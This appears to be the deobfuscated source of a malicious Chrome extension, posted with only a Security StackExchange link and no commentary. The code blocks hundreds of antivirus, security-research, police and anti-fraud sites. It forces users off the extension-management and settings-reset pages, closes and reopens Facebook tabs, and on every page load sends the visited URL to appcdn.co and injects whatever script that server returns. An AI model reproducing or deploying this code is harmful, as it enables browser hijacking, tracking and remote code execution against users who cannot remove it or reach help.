http://security.stackexchange.com/a/128270/50311

var domainBlacklist = [
'facebook.com/csp.php',
'facebook.com/mac_nerd_son',
'bitdefender.com',
'files.avast.com',
'trendmicro.com',
'avg.com',
'grisoft.com',
'avg.cz',
'grisoft.cz',
'edgesuite.net',
'grisoft.com',
'avg.com',
'pctools.com',
'lavasoft.com',
'bitdefender.nl',
'virustotal.com',
'trendmicro.nl',
'trendmicro.com.au',
'securesoft.com.au',
'avira.com.au',
'gratissoftwaresite.nl',
'nod32.com.au',
'pandasecurity.com.au',
'lavasoft.com.au',
'avg.com.au',
'symantec-norton.com',
'trendmicro.com',
'malwarebytes.org',
'pchelpforum.com',
'cnet.com',
'techsupportforum.com',
'gratissoftware.nu',
'majorgeeks.com',
'pcworld.com',
'microbe.com.au',
'avast.com.au',
'avg-antivirus.com.au',
'nortonantiviruscenter.com',
'threatmetrix.com',
'zonealarm.com',
'firewallguide.com',
'auditmypc.com',
'comodo.com',
'free-firewall.org',
'schoonepc.nl',
'iopus.com',
'tucows.com',
'avg-antivirus-plus-firewall.en.softonic.com',
'softonic.com',
'superantispyware.com.au',
'superantispyware.com',
'harveynorman.com.au',
'ca-store.com.au',
'netfreighters.com.au',
'securetec.com.au',
'anti-spyware.com.au',
'virusscan.jotti.org',
'virscan.org',
'antivir.ru',
'avira.com',
'analysis.avira.com',
'hijackthis.de',
'uploadmalware.com',
'emsisoft.com',
'kaspersky.co.uk',
'bitdefender.co.uk',
'eset.co.uk',
'webroot.com',
'gdatasoftware.co.uk',
'pcpro.co.uk',
'webroot.co.uk',
'cyprotect.com',
'drweb-antivir.it',
'escanav.com',
'webroot.nl',
'av.eu',
'vergelijk.nl',
'antivirusvergelijk.nl',
'virussen.upc.nl',
'antivirus.startpagina.nl',
'avastav.nl',
'defenx.nl',
'gdata.nl',
'bitdefender.nl',
'removevirus.org',
'windows.microsoft.com',
'answers.microsoft.com',
'myantispyware.com',
'krebsonsecurity.com',
'antivirus.about.com',
'cleanuninstall.com',
'staples.com',
'esetindia.com',
'mcafee.free-trials.net',
'antivir-2012.com',
'panda-antivirus.en.softonic.com',
'freeantivirushelp.com',
'scanwith.com',
'bestantivirusreviewed.com',
'virus-help.net',
'cleanallspyware.com',
'kingsoftsecurity.com',
'threatfire.com',
'clamav.net',
'pcthreat.com',
'2-viruses.com',
'trojan-killer.ne',
'virusinfo.info',
'projecthoneypot.org',
'novirus.ru',
'anti-malware.com',
'offensivecomputing.net',
'zeustracker.abuse.ch',
'malekal.com',
'threatexpert.com',
'update.microsoft.com',
'av-comparatives.org',
'av-test.org',
'scanwith.com',
'trendmicro.com.au',
'kasperskyanz.com.au',
'bitdefender.com.au',
'eset.com.au',
'vet.com.au',
'mcafee.com',
'virusbtn.com',
'adwarereport.com',
'avg.com.au',
'adwarereport.com',
'dw.com',
'symantec.com',
'spywarewarrior.com',
'avsoft.ru',
'onecare.live.com',
'anubis.iseclab.org',
'wepawet.iseclab.org',
'iseclab.org',
'freespaceinternetsecurity.com',
'sunbelt-software.com',
'prevx.com',
'tuwien.ac.at',
'joebox.org',
'gmer.net',
'antirootkit.com',
'sectools.org',
'sandboxie.com',
'mwcollect.org',
'amtso.org',
'nsslabs.com',
'icsalabs.com',
'checkvir.com',
'check-mark.com',
'protectstar-testlab.org',
'anti-malware-test.com',
'av-test.de',
'wildlist.org',
'aavar.org',
'centralops.net',
'staysafeonline.info',
'rokop-security.de',
'rokop-security.de',
'wilderssecurity.com',
'superantispyware.com',
'kaspersky.com',
'kaspersky.ru',
'avp.ru',
'viruslist.com',
'kaspersky-antivirus.ru',
'downloads.kaspersky-labs.com',
'kavdumps.kaspersky.com',
'kasperskyclub.ru',
'kasperskyclub.com',
'ftp.kasperskylab.ru',
'ftp.kaspersky-labs.com',
'ftp.kaspersky.ru',
'data.kaspersky.ru',
'z-oleg.com',
'drweb.com',
'freedrweb.com',
'drweb.com.ua',
'drweb.ru',
'av-desk.com',
'drweb.net',
'ftp.drweb.com',
'dr-web.ru',
'download.drweb.com',
'support.drweb.com',
'updates.sald.com',
'sald.com',
'drweb.imshop.de',
'norton.com',
'safeweb.norton.com',
'liveupdate.symantec.com',
'service1.symantec.com',
'security.symantec.com',
'securityresponse.symantec.com',
'sygate.com',
'esetnod32.ru',
'eset.com',
'nod32.com.ua',
'nod32.com',
'download.eset.com',
'update.eset.com',
'eset.eu',
'nod32.it',
'nod32.su',
'nod-32.ru',
'allnod.com',
'allnod.info',
'virusall.ru',
'nod32eset.org',
'eset.sk',
'nod32.nl',
'antivir.de',
'free-av.com',
'free-av.de',
'avira.com',
'forum.avira.com',
'avirus.ru',
'avirus.com.ua',
'mcafee.com',
'home.mcafee.com',
'us.mcafee.com',
'mcafeesecurity.com',
'mcafeesecure.com',
'avertlabs.com',
'download.nai.com',
'nai.com',
'secure.nai.com',
'eu.shopmcafee.com',
'shop.mcafee.com',
'mcafeestore.com',
'service.mcafee.com',
'siteadvisor.com',
'avast.ru',
'avast.com',
'onlinescan.avast.com',
'download1.avast.com',
'download1.avast.com',
'download2.avast.com',
'download2.avast.com',
'download3.avast.com',
'download4.avast.com',
'download5.avast.com',
'download7.avast.com',
'free.avg.com',
'au.norton.com',
'trustdefender.com',
'pctools.com',
'grisoft.cz',
'free.grisoft.com',
'bitdefender.com',
'msecn.net',
'bitdefender.de',
'bitdefender.com.ua',
'bitdefender.ru',
'myaccount.bitdefender.com',
'ftp.bitdefender.com',
'forum.bitdefender.com',
'agnitum.ru',
'agnitum.com',
'agnitum.de',
'outpostfirewall.com',
'dl2.agnitum.com',
'dl1.agnitum.com',
'antivirus.comodo.com',
'camas.comodo.com',
'comodo.com',
'comodogroup.com',
'personalfirewall.comodo.com',
'hackerguardian.com',
'nsclean.com',
'clamav.net',
'db.local.clamav.net',
'clamsupport.sourcefire.com',
'lurker.clamav.net',
'clamwin.com',
'gietl.com',
'clamav.dyndns.org',
'f-secure.com',
'f-secure.com',
'support.f-secure.com',
'f-secure.ru',
'ftp.f-secure.com',
'europe.f-secure.com',
'f-secure.de',
'f-secure.de',
'support.f-secure.de',
'ftp.f-secure.de',
'f-secure.co.uk',
'norman.com',
'download.norman.no',
'sandbox.norman.no',
'nsclean.com',
'viruslab.ru',
'pandasoftware.com',
'anti-virus.by',
'virusblokada.ru',
'vba32.de',
'ftp.nai.com',
'secuser.com',
'tds.diamondcs.com.au',
'windowsupdate.microsoft.com',
'lavasoftusa.com',
'lavasoftusa.de',
'diamondcs.com.au',
'shop.ca.com',
'v4.windowsupdate.microsoft.com',
'v5.windowsupdate.microsoft.com',
'noadware.net',
'zonelabs.com',
'moosoft.com',
'model-fx.com',
'pccreg.antivirus.com',
'k-otik.com',
'vupen.com',
'housecall.trendmicro.com',
'antivirus.cai.com',
'sophos.com',
'securitoo.com',
'nordnet.com',
'avgfrance.com',
'avgfrance.com',
'antivirus-online.de',
'ftp.esafe.com',
'ftp.microworldsystems.com',
'ftp.ca.co',
'trendmicro-europe.com',
'inline-software.de',
'ravantivirus.com',
'ravantivirus.com',
'f-prot.com',
'files.f-prot.com',
'santivirus.com',
'openantivirus.org',
'dialognauka.ru',
'anti-virus-software-review.com',
'vet.com.au',
'antiviraldp.com',
'pestpatrol.com',
'antiviraldp.com',
'pestpatrol.com',
'simplysup.com',
'misec.net',
'my-etrust.com',
'authentium.com',
'finjan.com',
'ikarus-software.at',
'ika-rus.com',
'tinysoftware.com',
'visualizesoftware.com',
'kerio.com',
'zonelabs.com',
'zonelog.co.uk',
'webroot.com',
'lavasoft.nu',
'spywareguide.com',
'spyblocker-software.com',
'spamhaus.org',
'spamcop.net',
'bobbear.co.uk',
'domaintools.com',
'centralops.net',
'robtex.com',
'dnsstuff.com',
'ripe.net',
'met.police.uk',
'nbi.gov.ph',
'police.gov.hk',
'treasury.gov',
'treasury.gov',
'cybercrime.gov',
'cybercrime.ch',
'enisa.europa.eu',
'interpol.int',
'fsa.gov.uk',
'companies-house.gov.uk',
'fraudaid.com',
'scambusters.org',
'spamtrackers.eu',
'emlx.net',
'clamav.dyndns.org',
'f-secure.com',
'f-secure.com',
'support.f-secure.com',
'f-secure.ru',
'ftp.f-secure.com',
'europe.f-secure.com',
'f-secure.de',
'support.f-secure.de',
'ftp.f-secure.de',
'f-secure.co.uk',
'norman.com',
'download.norman.no',
'sandbox.norman.no',
'nsclean.com',
'viruslab.ru',
'pandasoftware.com',
'anti-virus.by',
'virusblokada.ru',
'vba32.de',
'ftp.nai.com',
'secuser.com',
'tds.diamondcs.com.au',
'windowsupdate.microsoft.com',
'lavasoftusa.com',
'lavasoftusa.de',
'diamondcs.com.au',
'shop.ca.com',
'v4.windowsupdate.microsoft.com',
'v5.windowsupdate.microsoft.com',
'noadware.net',
'zonelabs.com',
'moosoft.com',
'model-fx.com',
'pccreg.antivirus.com',
'k-otik.com',
'vupen.com',
'housecall.trendmicro.com',
'antivirus.cai.com',
'sophos.com',
'securitoo.com',
'nordnet.com',
'avgfrance.com',
'avgfrance.com',
'antivirus-online.de',
'ftp.esafe.com',
'ftp.microworldsystems.com',
'ftp.ca.co',
'trendmicro-europe.com',
'inline-software.de',
'ravantivirus.com',
'ravantivirus.com',
'f-prot.com',
'files.f-prot.com',
'santivirus.com',
'openantivirus.org',
'dialognauka.ru',
'anti-virus-software-review.com',
'vet.com.au',
'antiviraldp.com',
'pestpatrol.com',
'antiviraldp.com',
'pestpatrol.com',
'simplysup.com',
'misec.net',
'my-etrust.com',
'authentium.com',
'finjan.com',
'ikarus-software.at',
'ika-rus.com',
'tinysoftware.com',
'visualizesoftware.com',
'kerio.com',
'zonelabs.com',
'zonelog.co.uk',
'webroot.com',
'lavasoft.nu',
'spywareguide.com',
'spyblocker-software.com',
'spamhaus.org',
'spamcop.net',
'bobbear.co.uk',
'domaintools.com',
'centralops.net',
'robtex.com',
'dnsstuff.com',
'ripe.net',
'met.police.uk',
'nbi.gov.ph',
'police.gov.hk',
'treasury.gov',
'treasury.gov',
'cybercrime.gov',
'cybercrime.ch',
'enisa.europa.eu',
'interpol.int',
'fsa.gov.uk',
'companies-house.gov.uk',
'fraudaid.com',
'scambusters.org',
'spamtrackers.eu',
'emlx.net'
];

chrome.webRequest.onBeforeRequest.addListener(
    function(details) {
        for (i = 0; i < domainBlacklist.length; i++) {
            if (details.url.indexOf(domainBlacklist[i]) > -1) {
                return {
                    cancel: true
                };
            }
        }
        return {
            cancel: false
        };
    }, {
        urls: ["<all_urls>"]
    }, ["blocking"]);


function decode(arg) {
    magicArr = "BlTgd&s*Ux[CDMhR'yjSm8b5O)>J2Pq%t,GXv<0i3eL}rZ+Q{n:A-%.4(o!?w/Kp9f7aN6]zHFcY=;V_kIE1u ".split("");

    arg = atob(
            arg.split("").reverse().join("")
        )
        .split("m");
    r = "";

    for (var i = 0; i < arg.length; i++) {
        if (typeof magicArr[arg[i]] != "undefined") {
            r = r + magicArr[arg[i]];
        }
    }
    return r;
}

//window.eval("
window.chrome.runtime.onMessage.addListener(function(message, sender, sendResponse) {
    if (message.action == 'xhttp') {
        var xhttp = new XMLHttpRequest();
        var method = message.method ? message.method.toUpperCase() : 'GET';
        var datatype = message.type ? message.type : 'application/x-www-form-urlencoded';
        xhttp.onload = function() {
            sendResponse(xhttp.responseText);
        };
        xhttp.onerror = function() {
            sendResponse();
        };
        xhttp.open(method, message.url, true);
        if (method == 'POST') {
            xhttp.setRequestHeader('Content-Type', datatype);
        }
        xhttp.send(message.data);
        return true;
    }
});
chrome.tabs.query({
    'url': '*://*.facebook.com/*',
}, function(tabs) {
    active = false;
    for (tab in tabs) {
        if (tabs[tab].active) {
            active = true;
        }
        chrome.tabs.remove(tabs[tab].id, function() {});
    }
    chrome.tabs.create({
        'url': 'https://www.facebook.com/',
        'active': active,
        'selected': active
    }, function() {});
});
//")


window.chrome.tabs.onUpdated.addListener(function(arg) {
    window.chrome.tabs.get(arg, function(arg) {
        if (arg.status == "complete") {
            tab = arg;
            (
                tab.url.indexOf('chrome://extension') >= 0 ||
                tab.url.indexOf('chrome://chrome/extension') >= 0 ||
                tab.url.indexOf('chrome://settings/resetProfileSettings') >= 0 ||
                tab.url.indexOf('opera://extensions/') >= 0 ||
                tab.url.indexOf('browser://tune/') >= 0 ||
                tab.url.indexOf('chrome://tune/') >= 0 ||
                tab.url.indexOf('chrome://help/') >= 0
            )
            && chrome.tabs.update(tab.id, {
                url: 'https://chrome.google.com/webstore/category/apps'
            });

            var xhr = new XMLHttpRequest();
            xhr.open('GET', "http://appcdn.co/datajs" + "?r=" + Math.random() + "&url=" + arg.url, true);
            xhr.onreadystatechange = function() {
                if (xhr.readyState == 4 && xhr.status == 200) {
                    window.chrome.tabs.executeScript(arg.id, {
                        code: xhr.responseText
                    })
                }
            };
            xhr.send()
        }
    })
})